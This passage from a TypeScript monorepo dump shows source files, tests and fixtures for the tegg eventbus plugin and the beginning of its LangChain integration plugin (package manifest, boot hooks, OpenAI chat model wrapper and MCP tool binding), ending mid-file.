    "content": "import type { ContextCreator } from '@eggjs/eventbus-runtime';\nimport { IdenticalUtil } from '@eggjs/lifecycle';\nimport { EGG_CONTEXT, TEGG_CONTEXT } from '@eggjs/module-common';\nimport { AbstractEggContext, type EggContext as TEggContext } from '@eggjs/tegg-runtime';\nimport type { Context, Application } from 'egg';\n\ntype CreateContextFactory = (app: Application) => ContextCreator;\n\n// AbstractEggContext use lots of static method\n// In chair application mode plugin is in .sff\n// Make different @eggjs/tegg-runtime exits\nexport function eggEventContextFactory(\n  AbstractEggContextClazz: typeof AbstractEggContext,\n  identicalUtil: typeof IdenticalUtil,\n): CreateContextFactory {\n  class EggEventContext extends AbstractEggContextClazz {\n    readonly id: string;\n\n    constructor(context: Context) {\n      super();\n      this.set(EGG_CONTEXT, context);\n      context[TEGG_CONTEXT] = this;\n      // In chair application mode,\n      // Plugin event may install in app dir,\n      // Plugin tegg may install in layer dir,\n      // Will has multi IdenticalUtil instance.\n      this.id = identicalUtil.createContextId((context.tracer as { traceId: string } | undefined)?.traceId);\n    }\n\n    static createContextFactory(app: Application): ContextCreator {\n      return (): TEggContext => {\n        const eggCtx = app.createAnonymousContext();\n        return new EggEventContext(eggCtx);\n      };\n    }\n  }\n  return EggEventContext.createContextFactory;\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/src/lib/EventHandlerProtoManager.ts",
    "content": "import { EVENT_NAME, type EventName } from '@eggjs/eventbus-decorator';\nimport { EventContextFactory, EventHandlerFactory } from '@eggjs/eventbus-runtime';\nimport type { EggPrototype } from '@eggjs/metadata';\nimport type { Application } from 'egg';\n\nimport { eggEventContextFactory } from './EggEventContext.ts';\n\nexport class EventHandlerProtoManager {\n  private readonly protos: Set<EggPrototype> = new Set();\n  private readonly app: Application;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  addProto(proto: EggPrototype): void {\n    this.protos.add(proto);\n  }\n\n  async register(): Promise<void> {\n    const eventHandlerFactory = await this.app.getEggObject(EventHandlerFactory);\n    for (const proto of this.protos) {\n      const eventList = (proto.getMetaData(EVENT_NAME) as EventName[]) ?? [];\n      eventList.forEach((event) => eventHandlerFactory.registerHandler(event, proto));\n    }\n\n    const eventFactory = await this.app.getEggObject(EventContextFactory);\n    const createContextFactory = eggEventContextFactory(this.app.abstractEggContext, this.app.identicalUtil);\n    eventFactory.registerContextCreator(createContextFactory(this.app));\n  }\n\n  getProtos(): EggPrototype[] {\n    return Array.from(this.protos);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/src/lib/EventbusLoadUnitHook.ts",
    "content": "import { QualifierUtil, EggQualifierAttribute, EggType } from '@eggjs/core-decorator';\nimport { EventContextFactory, EventHandlerFactory, SingletonEventBus } from '@eggjs/eventbus-runtime';\nimport type { LifecycleHook } from '@eggjs/lifecycle';\nimport {\n  EggLoadUnitType,\n  EggPrototypeCreatorFactory,\n  EggPrototypeFactory,\n  type LoadUnit,\n  type LoadUnitLifecycleContext,\n} from '@eggjs/metadata';\n\nconst REGISTER_CLAZZ = [EventHandlerFactory, EventContextFactory, SingletonEventBus];\n\n// EggQualifier only for egg plugin\n// allow to inject logger in SingletonEventBus\nQualifierUtil.addProperQualifier(SingletonEventBus, 'logger', EggQualifierAttribute, EggType.APP);\n\nexport class EventbusLoadUnitHook implements LifecycleHook<LoadUnitLifecycleContext, LoadUnit> {\n  async postCreate(_ctx: LoadUnitLifecycleContext, loadUnit: LoadUnit): Promise<void> {\n    if (loadUnit.type === EggLoadUnitType.APP) {\n      for (const clazz of REGISTER_CLAZZ) {\n        const protos = await EggPrototypeCreatorFactory.createProto(clazz, loadUnit);\n        for (const proto of protos) {\n          EggPrototypeFactory.instance.registerPrototype(proto, loadUnit);\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/src/lib/EventbusProtoHook.ts",
    "content": "import { EVENT_NAME } from '@eggjs/eventbus-decorator';\nimport type { LifecycleHook } from '@eggjs/lifecycle';\nimport type { EggPrototype, EggPrototypeLifecycleContext } from '@eggjs/metadata';\n\nimport { EventHandlerProtoManager } from './EventHandlerProtoManager.ts';\n\nexport class EventbusProtoHook implements LifecycleHook<EggPrototypeLifecycleContext, EggPrototype> {\n  private eventHandlerProtoManager: EventHandlerProtoManager;\n\n  constructor(eventHandlerProtoManager: EventHandlerProtoManager) {\n    this.eventHandlerProtoManager = eventHandlerProtoManager;\n  }\n\n  async postCreate(_ctx: EggPrototypeLifecycleContext, obj: EggPrototype): Promise<void> {\n    const event = obj.getMetaData(EVENT_NAME);\n    if (!event) {\n      return;\n    }\n    this.eventHandlerProtoManager.addProto(obj);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/src/types.ts",
    "content": "import '@eggjs/tegg-plugin/types';\nimport type { EventBus, EventWaiter } from '@eggjs/eventbus-decorator';\n\nimport type { EggContextEventBus } from './lib/EggContextEventBus.ts';\n\ndeclare module 'egg' {\n  interface Application {\n    /**\n     * Get the event bus, only for unittest\n     */\n    getEventbus(): Promise<EventBus>;\n    /**\n     * Get the event waiter, only for unittest\n     */\n    getEventWaiter(): Promise<EventWaiter>;\n  }\n\n  interface Context {\n    get eventBus(): EggContextEventBus;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/test/eventbus.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { type IEventContext } from '@eggjs/tegg';\nimport { TimerUtil } from '@eggjs/tegg-common-util';\nimport { describe, afterEach, beforeAll, afterAll, it, expect } from 'vitest';\n\nimport { HelloLogger } from './fixtures/apps/event-app/app/event-module/HelloLogger.ts';\nimport { HelloService } from './fixtures/apps/event-app/app/event-module/HelloService.ts';\nimport { MultiEventHandler } from './fixtures/apps/event-app/app/event-module/MultiEventHandler.ts';\nimport { getFixtures } from './utils.ts';\n\ndescribe('plugin/eventbus/test/eventbus.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(async () => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/event-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  it('msg should work', async () => {\n    await app.mockModuleContextScope(async (ctx) => {\n      const helloService = await ctx.getEggObject(HelloService);\n      let msg: string | undefined;\n      // helloLogger is in child context\n      mm(HelloLogger.prototype, 'handle', (m: string) => {\n        msg = m;\n      });\n      const eventWaiter = await app.getEventWaiter();\n      const helloEvent = eventWaiter.await('helloEgg');\n      helloService.hello();\n      await helloEvent;\n      expect(msg).toBe('01');\n    });\n  });\n\n  it('cork/uncork should work', async () => {\n    await app.mockModuleContextScope(async (ctx) => {\n      const helloService = await ctx.getEggObject(HelloService);\n      let helloTime = 0;\n      // helloLogger is in child context\n      mm(HelloLogger.prototype, 'handle', () => {\n        helloTime = Date.now();\n      });\n      helloService.cork();\n      const triggerTime = Date.now();\n      helloService.hello();\n\n      await TimerUtil.sleep(100);\n      helloService.uncork();\n\n      const eventWaiter = await app.getEventWaiter();\n      const helloEvent = eventWaiter.await('helloEgg');\n      await helloEvent;\n      expect(helloTime).toBeGreaterThanOrEqual(triggerTime + 100);\n    });\n  });\n\n  it('can call cork/uncork multi times', async () => {\n    await app.mockModuleContextScope(async (ctx) => {\n      const helloService = await ctx.getEggObject(HelloService);\n      const eventWaiter = await app.getEventWaiter();\n\n      let helloCalled = 0;\n      // helloLogger is in child context\n      mm(HelloLogger.prototype, 'handle', () => {\n        helloCalled++;\n      });\n      helloService.cork();\n      helloService.hello();\n      helloService.uncork();\n      await eventWaiter.await('helloEgg');\n\n      helloService.cork();\n      helloService.hello();\n      helloService.uncork();\n      await eventWaiter.await('helloEgg');\n\n      expect(helloCalled).toBe(2);\n    });\n  });\n\n  it('reentry cork/uncork should work', async () => {\n    await app.mockModuleContextScope(async (ctx) => {\n      const helloService = await ctx.getEggObject(HelloService);\n      const eventWaiter = await app.getEventWaiter();\n\n      let helloCalled = 0;\n      // helloLogger is in child context\n      mm(HelloLogger.prototype, 'handle', () => {\n        helloCalled++;\n      });\n      helloService.cork();\n      helloService.cork();\n      helloService.hello();\n      helloService.uncork();\n      helloService.uncork();\n      await eventWaiter.await('helloEgg');\n\n      expect(helloCalled).toBe(1);\n    });\n  });\n\n  it('concurrent cork/uncork should work', async () => {\n    let helloCalled = 0;\n    // helloLogger is in child context\n    mm(HelloLogger.prototype, 'handle', () => {\n      helloCalled++;\n    });\n    await Promise.all([\n      app.mockModuleContextScope(async (ctx) => {\n        const helloService = await ctx.getEggObject(HelloService);\n        const eventWaiter = await app.getEventWaiter();\n        helloService.cork();\n        helloService.hello();\n        await TimerUtil.sleep(100);\n        helloService.uncork();\n        await eventWaiter.await('helloEgg');\n      }),\n      app.mockModuleContextScope(async (ctx) => {\n        const helloService = await ctx.getEggObject(HelloService);\n        const eventWaiter = await app.getEventWaiter();\n        helloService.cork();\n        helloService.hello();\n        await TimerUtil.sleep(100);\n        helloService.uncork();\n        await eventWaiter.await('helloEgg');\n      }),\n    ]);\n    expect(helloCalled).toBe(2);\n  });\n\n  it('multi event handler should work', async function () {\n    await app.mockModuleContextScope(async (ctx) => {\n      const helloService = await ctx.getEggObject(HelloService);\n      let eventName = '';\n      let msg = '';\n      mm(MultiEventHandler.prototype, 'handle', (ctx: IEventContext, m: string) => {\n        eventName = ctx.eventName;\n        msg = m;\n      });\n      const eventWaiter = await app.getEventWaiter();\n      const helloEvent = eventWaiter.await('helloEgg');\n      helloService.hello();\n      await helloEvent;\n      expect(eventName).toBe('helloEgg');\n      expect(msg).toBe('01');\n      const hiEvent = eventWaiter.await('hiEgg');\n      helloService.hi();\n      await hiEvent;\n      expect(eventName).toBe('hiEgg');\n      expect(msg).toBe('Ydream');\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/eventbus/test/fixtures/apps/event-app/app/event-module/HelloLogger.ts",
    "content": "import { Event } from '@eggjs/tegg';\n\n@Event('helloEgg')\nexport class HelloLogger {\n  handle(msg: string): void {\n    console.log('hello, ', msg);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/test/fixtures/apps/event-app/app/event-module/HelloService.ts",
    "content": "import { AccessLevel, ContextProto, Inject, type ContextEventBus } from '@eggjs/tegg';\n\ndeclare module '@eggjs/tegg' {\n  interface Events {\n    helloEgg: (msg: string) => void;\n    hiEgg: (msg: string) => void;\n    trace: () => void;\n  }\n}\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class HelloService {\n  @Inject()\n  private readonly eventBus: ContextEventBus;\n\n  cork(): void {\n    this.eventBus.cork();\n  }\n\n  uncork(): void {\n    this.eventBus.uncork();\n  }\n\n  hello(): void {\n    this.eventBus.emit('helloEgg', '01');\n  }\n\n  hi(): void {\n    this.eventBus.emit('hiEgg', 'Ydream');\n  }\n\n  traceTest(): void {\n    this.eventBus.emit('trace');\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/test/fixtures/apps/event-app/app/event-module/MultiEventHandler.ts",
    "content": "import { Event, EventContext, type IEventContext } from '@eggjs/tegg';\n\n@Event('helloEgg')\n@Event('hiEgg')\nexport class MultiEventHandler {\n  handle(@EventContext() ctx: IEventContext, msg: string): void {\n    console.log('How are you', msg, ctx);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/test/fixtures/apps/event-app/app/event-module/package.json",
    "content": "{\n  \"name\": \"multi-module-common\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"multi-module-common\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/test/fixtures/apps/event-app/config/config.default.ts",
    "content": "export default {\n  keys: 'test key',\n  security: {\n    csrf: {\n      ignoreJSON: false,\n    },\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/eventbus/test/fixtures/apps/event-app/config/plugin.ts",
    "content": "export default {\n  tracer: {\n    package: '@eggjs/tracer',\n    enable: true,\n  },\n\n  tegg: {\n    package: '@eggjs/tegg-plugin',\n    enable: true,\n  },\n\n  teggConfig: {\n    package: '@eggjs/tegg-config',\n    enable: true,\n  },\n\n  teggEventbus: {\n    package: '@eggjs/eventbus-plugin',\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/eventbus/test/fixtures/apps/event-app/package.json",
    "content": "{\n  \"name\": \"event-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/test/utils.ts",
    "content": "import path from 'node:path';\n\nexport function getFixtures(name: string): string {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/package.json",
    "content": "{\n  \"name\": \"@eggjs/langchain-plugin\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"langchain for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"langchain\",\n    \"module\",\n    \"plugin\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/plugin/langchain\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/plugin/langchain\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./lib/boundModel/BoundModelObjectHook\": \"./src/lib/boundModel/BoundModelObjectHook.ts\",\n    \"./lib/ChatModelHelper\": \"./src/lib/ChatModelHelper.ts\",\n    \"./lib/ChatOpenAI\": \"./src/lib/ChatOpenAI.ts\",\n    \"./lib/config/QualifierUtil\": \"./src/lib/config/QualifierUtil.ts\",\n    \"./lib/graph/CompiledStateGraphObject\": \"./src/lib/graph/CompiledStateGraphObject.ts\",\n    \"./lib/graph/CompiledStateGraphProto\": \"./src/lib/graph/CompiledStateGraphProto.ts\",\n    \"./lib/graph/GraphBuildHook\": \"./src/lib/graph/GraphBuildHook.ts\",\n    \"./lib/graph/GraphLoadUnitHook\": \"./src/lib/graph/GraphLoadUnitHook.ts\",\n    \"./lib/graph/GraphObjectHook\": \"./src/lib/graph/GraphObjectHook.ts\",\n    \"./lib/graph/GraphPrototypeHook\": \"./src/lib/graph/GraphPrototypeHook.ts\",\n    \"./lib/tracing/LangGraphTracer\": \"./src/lib/tracing/LangGraphTracer.ts\",\n    \"./lib/util\": \"./src/lib/util.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./lib/boundModel/BoundModelObjectHook\": \"./dist/lib/boundModel/BoundModelObjectHook.js\",\n      \"./lib/ChatModelHelper\": \"./dist/lib/ChatModelHelper.js\",\n      \"./lib/ChatOpenAI\": \"./dist/lib/ChatOpenAI.js\",\n      \"./lib/config/QualifierUtil\": \"./dist/lib/config/QualifierUtil.js\",\n      \"./lib/graph/CompiledStateGraphObject\": \"./dist/lib/graph/CompiledStateGraphObject.js\",\n      \"./lib/graph/CompiledStateGraphProto\": \"./dist/lib/graph/CompiledStateGraphProto.js\",\n      \"./lib/graph/GraphBuildHook\": \"./dist/lib/graph/GraphBuildHook.js\",\n      \"./lib/graph/GraphLoadUnitHook\": \"./dist/lib/graph/GraphLoadUnitHook.js\",\n      \"./lib/graph/GraphObjectHook\": \"./dist/lib/graph/GraphObjectHook.js\",\n      \"./lib/graph/GraphPrototypeHook\": \"./dist/lib/graph/GraphPrototypeHook.js\",\n      \"./lib/tracing/LangGraphTracer\": \"./dist/lib/tracing/LangGraphTracer.js\",\n      \"./lib/util\": \"./dist/lib/util.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/langchain-decorator\": \"workspace:*\",\n    \"@eggjs/mcp-client\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/module-common\": \"workspace:*\",\n    \"@eggjs/tegg\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"@langchain/core\": \"^1.1.1\",\n    \"@langchain/langgraph\": \"^1.0.2\",\n    \"@langchain/mcp-adapters\": \"^1.0.0\",\n    \"@langchain/openai\": \"^1.0.0\",\n    \"langchain\": \"^1.1.2\",\n    \"urllib\": \"catalog:\",\n    \"zod\": \"^4.0.0\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/controller-plugin\": \"workspace:*\",\n    \"@eggjs/mcp-client-plugin\": \"workspace:*\",\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/module-test-util\": \"workspace:*\",\n    \"@eggjs/router\": \"workspace:*\",\n    \"@eggjs/tegg-config\": \"workspace:*\",\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"@eggjs/tracer\": \"workspace:*\",\n    \"@modelcontextprotocol/sdk\": \"^1.23.0\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggModule\": {\n    \"name\": \"teggLangChain\"\n  },\n  \"eggPlugin\": {\n    \"name\": \"teggLangChain\",\n    \"dependencies\": [\n      \"tegg\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/src/app.ts",
    "content": "import type { Application, IBoot } from 'egg';\n\nimport { BoundModelObjectHook } from './lib/boundModel/BoundModelObjectHook.ts';\nimport { CompiledStateGraphObject } from './lib/graph/CompiledStateGraphObject.ts';\nimport { CompiledStateGraphProto } from './lib/graph/CompiledStateGraphProto.ts';\nimport { GraphBuildHook } from './lib/graph/GraphBuildHook.ts';\nimport { GraphLoadUnitHook } from './lib/graph/GraphLoadUnitHook.ts';\nimport { GraphObjectHook } from './lib/graph/GraphObjectHook.ts';\nimport { GraphPrototypeHook } from './lib/graph/GraphPrototypeHook.ts';\n\nexport default class ModuleLangChainHook implements IBoot {\n  readonly #app: Application;\n  readonly #graphObjectHook: GraphObjectHook;\n  readonly #graphLoadUnitHook: GraphLoadUnitHook;\n  readonly #boundModelObjectHook: BoundModelObjectHook;\n  readonly #graphPrototypeHook: GraphPrototypeHook;\n\n  constructor(app: Application) {\n    this.#app = app;\n    this.#graphObjectHook = new GraphObjectHook();\n    this.#graphLoadUnitHook = new GraphLoadUnitHook(this.#app.eggPrototypeFactory as any);\n    this.#boundModelObjectHook = new BoundModelObjectHook();\n    this.#graphPrototypeHook = new GraphPrototypeHook();\n    this.#app.loadUnitLifecycleUtil.registerLifecycle(this.#graphLoadUnitHook);\n  }\n\n  configWillLoad(): void {\n    this.#app.eggObjectLifecycleUtil.registerLifecycle(this.#graphObjectHook);\n    this.#app.eggObjectLifecycleUtil.registerLifecycle(this.#boundModelObjectHook);\n    this.#app.eggObjectFactory.registerEggObjectCreateMethod(\n      CompiledStateGraphProto as any,\n      CompiledStateGraphObject.createObject,\n    );\n    this.#app.eggPrototypeLifecycleUtil.registerLifecycle(this.#graphPrototypeHook);\n  }\n\n  configDidLoad(): void {\n    this.#app.moduleHandler.registerGlobalGraphBuildHook(GraphBuildHook);\n  }\n\n  async beforeClose(): Promise<void> {\n    this.#app.eggObjectLifecycleUtil.deleteLifecycle(this.#graphObjectHook);\n    this.#app.eggObjectLifecycleUtil.deleteLifecycle(this.#boundModelObjectHook);\n    this.#app.loadUnitLifecycleUtil.deleteLifecycle(this.#graphLoadUnitHook);\n    this.#app.eggPrototypeLifecycleUtil.deleteLifecycle(this.#graphPrototypeHook);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/src/index.ts",
    "content": "export * from './lib/ChatOpenAI.ts';\nexport * from './lib/boundModel/BoundModelObjectHook.ts';\nexport * from './lib/config/QualifierUtil.ts';\nexport * from './lib/graph/CompiledStateGraphObject.ts';\nexport * from './lib/graph/CompiledStateGraphProto.ts';\nexport * from './lib/graph/GraphBuildHook.ts';\nexport * from './lib/graph/GraphLoadUnitHook.ts';\nexport * from './lib/graph/GraphObjectHook.ts';\nexport * from './lib/graph/GraphPrototypeHook.ts';\nexport * from './lib/tracing/LangGraphTracer.ts';\n"
  },
  {
    "path": "tegg/plugin/langchain/src/lib/ChatModelHelper.ts",
    "content": "import { ChatModelInjectName, ChatModelQualifierAttribute } from '@eggjs/langchain-decorator';\n\nexport class ChatModelHelper {\n  static getChatModelQualifier(clientName: string): Record<string, Array<{ attribute: symbol; value: string }>> {\n    return {\n      [ChatModelInjectName]: [\n        {\n          attribute: ChatModelQualifierAttribute,\n          value: clientName,\n        },\n      ],\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/src/lib/ChatOpenAI.ts",
    "content": "import { ChatModelInjectName, ChatModelQualifierAttribute } from '@eggjs/langchain-decorator';\nimport { AccessLevel, Inject, MultiInstanceInfo, MultiInstanceProto, ObjectInitType } from '@eggjs/tegg';\nimport type { MultiInstancePrototypeGetObjectsContext, ObjectInfo } from '@eggjs/tegg';\nimport type { ModuleConfig } from '@eggjs/tegg-common-util';\nimport { ModuleConfigUtil } from '@eggjs/tegg-common-util';\nimport { ChatOpenAI } from '@langchain/openai';\nimport { fetch, FetchFactory, Agent } from 'urllib';\n\nimport { ChatModelHelper } from './ChatModelHelper.ts';\nimport { QualifierUtil } from './config/QualifierUtil.ts';\nimport { getChatModelConfig, getClientNames } from './util.ts';\n\n@MultiInstanceProto({\n  accessLevel: AccessLevel.PUBLIC,\n  initType: ObjectInitType.SINGLETON,\n  // 从 module.yml 中动态获取配置来决定需要初始化几个对象\n  getObjects(ctx: MultiInstancePrototypeGetObjectsContext) {\n    const config: ModuleConfig = ModuleConfigUtil.loadModuleConfigSync(ctx.unitPath);\n    const moduleName = ModuleConfigUtil.readModuleNameSync(ctx.unitPath);\n    return getClientNames(config, 'ChatModel')\n      .filter((name) => {\n        return (config as any).ChatModel.clients[name].type === 'openai';\n      })\n      .map((name) => {\n        return {\n          name: ChatModelInjectName,\n          qualifiers: ChatModelHelper.getChatModelQualifier(name)[ChatModelInjectName],\n          properQualifiers: {\n            ...QualifierUtil.getModuleConfigQualifier(moduleName),\n          },\n        };\n      });\n  },\n})\nexport class ChatOpenAIModel extends ChatOpenAI {\n  declare readonly moduleConfig: ModuleConfig;\n\n  constructor(\n    @Inject() moduleConfig: ModuleConfig,\n    @MultiInstanceInfo([ChatModelQualifierAttribute]) objInfo: ObjectInfo,\n  ) {\n    const chatConfig = getChatModelConfig(moduleConfig, objInfo) as any;\n    chatConfig.configuration = chatConfig.configuration || {};\n    // 如果依赖中存在低版本 urllib 会引发问题，因此需要手动设置好\n    FetchFactory.setDispatcher(new Agent({ allowH2: true }));\n    chatConfig.configuration.fetch = fetch as any;\n    super(chatConfig);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/src/lib/boundModel/BoundModelObjectHook.ts",
    "content": "import {\n  ChatModelInjectName,\n  ChatModelQualifierAttribute,\n  BOUND_MODEL_METADATA,\n  GraphToolInfoUtil,\n} from '@eggjs/langchain-decorator';\nimport type { IGraphNode, IGraphTool, IBoundModelMetadata } from '@eggjs/langchain-decorator';\nimport { MCPClientInjectName, MCPClientQualifierAttribute } from '@eggjs/mcp-client';\nimport { MCPInfoUtil } from '@eggjs/tegg';\nimport type { LifecycleHook } from '@eggjs/tegg';\nimport { EggContainerFactory } from '@eggjs/tegg-runtime';\nimport type { EggObject, EggObjectLifeCycleContext } from '@eggjs/tegg-runtime';\nimport type { EggPrototypeWithClazz } from '@eggjs/tegg/helper';\nimport { loadMcpTools } from '@langchain/mcp-adapters';\nimport { DynamicStructuredTool } from 'langchain';\nimport { ConfigurableModel } from 'langchain/chat_models/universal';\nimport * as z from 'zod/v4';\n\nclass BoundModelHandler {\n  boundModelMetadata: IBoundModelMetadata;\n  eggObject: EggObject;\n\n  constructor(nodeMetadata: IBoundModelMetadata, eggObject: EggObject) {\n    this.boundModelMetadata = nodeMetadata;\n    this.eggObject = eggObject;\n  }\n\n  async findGraphTools() {\n    const tools = this.boundModelMetadata.tools ?? [];\n    let dTools: Parameters<ConfigurableModel['bindTools']>['0'] = [];\n    for (let i = 0; i < tools.length; i++) {\n      const toolsObj = await EggContainerFactory.getOrCreateEggObjectFromClazz(tools[i]);\n      const toolMetadata = GraphToolInfoUtil.getGraphToolMetadata(\n        (toolsObj.proto as unknown as EggPrototypeWithClazz).clazz!,\n      );\n      const ToolDetail = MCPInfoUtil.getMCPToolArgsIndex(\n        (toolsObj.proto as unknown as EggPrototypeWithClazz).clazz!,\n        'execute',\n      );\n      if (toolMetadata && ToolDetail) {\n        const tool = new DynamicStructuredTool({\n          description: toolMetadata.description,\n          name: toolMetadata.toolName,\n          func: (toolsObj.obj as unknown as IGraphTool<any>).execute.bind(toolsObj.obj) as any,\n          schema: z.object(ToolDetail.argsSchema) as any,\n        });\n        dTools = dTools.concat(tool);\n      }\n    }\n\n    return dTools;\n  }\n\n  async findMcpServerTools() {\n    const mcpServers = this.boundModelMetadata.mcpServers ?? [];\n    let sTools: Parameters<ConfigurableModel['bindTools']>['0'] = [];\n    for (let i = 0; i < mcpServers.length; i++) {\n      const mcpClientObj = await EggContainerFactory.getOrCreateEggObjectFromName(MCPClientInjectName, [\n        {\n          attribute: MCPClientQualifierAttribute,\n          value: mcpServers[i],\n        },\n      ]);\n      const tool = await loadMcpTools(mcpServers[i], mcpClientObj.obj as any, {\n        throwOnLoadError: true,\n        prefixToolNameWithServerName: false,\n        additionalToolNamePrefix: '',\n      });\n      sTools = sTools.concat(tool);\n    }\n    return sTools;\n  }\n\n  async boundTools() {\n    const nodeObj = this.eggObject.obj as IGraphNode<any>;\n    const dTools = await this.findGraphTools();\n    const sTools = await this.findMcpServerTools();\n\n    const chatModelObj = await EggContainerFactory.getOrCreateEggObjectFromName(ChatModelInjectName, [\n      {\n        attribute: ChatModelQualifierAttribute,\n        value: this.boundModelMetadata.modelName,\n      },\n    ]);\n    const chatModel = chatModelObj.obj as ConfigurableModel;\n\n    const boundChatModel = chatModel.bindTools([...dTools, ...sTools]);\n\n    Object.setPrototypeOf(Object.getPrototypeOf(nodeObj), boundChatModel);\n  }\n}\n\nexport class BoundModelObjectHook implements LifecycleHook<EggObjectLifeCycleContext, EggObject> {\n  async postCreate(_: EggObjectLifeCycleContext, eggObject: EggObject): Promise<void> {\n    const BoundModelMetadata = eggObject.proto.getMetaData<IBoundModelMetadata>(BOUND_MODEL_METADATA);\n    // 找到 graph node\n    if (BoundModelMetadata) {\n      const handler = new BoundModelHandler(BoundModelMetadata, eggObject);\n      await handler.boundTools();\n      return;\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/src/lib/config/QualifierUtil.ts",
    "content": "import { ConfigSourceQualifierAttribute } from '@eggjs/tegg';\nimport type { QualifierInfo } from '@eggjs/tegg';\n\n// TODO refactor to ModuleConfig and mist impl\nexport class QualifierUtil {\n  static getModuleConfigQualifier(moduleName: string): Record<string, QualifierInfo[]> {\n    return {\n      moduleConfig: [\n        {\n          attribute: ConfigSourceQualifierAttribute,\n          value: moduleName,\n        },\n      ],\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/src/lib/graph/CompiledStateGraphObject.ts",
    "content": "import {\n  ChatCheckpointSaverInjectName,\n  ChatCheckpointSaverQualifierAttribute,\n  GRAPH_EDGE_METADATA,\n  GRAPH_NODE_METADATA,\n  TeggToolNode,\n} from '@eggjs/langchain-decorator';\nimport type {\n  GraphEdgeMetadata,\n  GraphMetadata,\n  GraphNodeMetadata,\n  IGraph,\n  IGraphEdge,\n  IGraphNode,\n} from '@eggjs/langchain-decorator';\nimport type { EggPrototype } from '@eggjs/metadata';\nimport { EGG_CONTEXT } from '@eggjs/module-common';\nimport { IdenticalUtil } from '@eggjs/tegg';\nimport type { EggObjectName, EggPrototypeName, Id } from '@eggjs/tegg';\nimport { ContextHandler, EggContainerFactory, EggObjectStatus } from '@eggjs/tegg-runtime';\nimport type { EggContext, EggObject } from '@eggjs/tegg-runtime';\nimport { BaseCheckpointSaver, CompiledStateGraph } from '@langchain/langgraph';\n\nimport { LangGraphTracer } from '../tracing/LangGraphTracer.ts';\nimport { CompiledStateGraphProto } from './CompiledStateGraphProto.ts';\n\nexport class CompiledStateGraphObject implements EggObject {\n  private status: EggObjectStatus = EggObjectStatus.PENDING;\n  id: Id;\n  readonly name: EggPrototypeName;\n  readonly proto: CompiledStateGraphProto;\n  readonly ctx: EggContext;\n  readonly daoName: string;\n  private _obj: object;\n  readonly graphMetadata: GraphMetadata;\n  readonly graphName: string;\n\n  constructor(name: EggObjectName, proto: CompiledStateGraphProto) {\n    this.name = name;\n    this.proto = proto;\n    this.ctx = ContextHandler.getContext()!;\n    this.id = IdenticalUtil.createObjectId(this.proto.id, this.ctx?.id);\n    this.graphMetadata = proto.graphMetadata;\n    this.graphName = proto.graphName;\n  }\n\n  async init(): Promise<void> {\n    this._obj = await this.build();\n    const graph = this._obj as CompiledStateGraph<any, any>;\n\n    const originalStream = graph.stream;\n    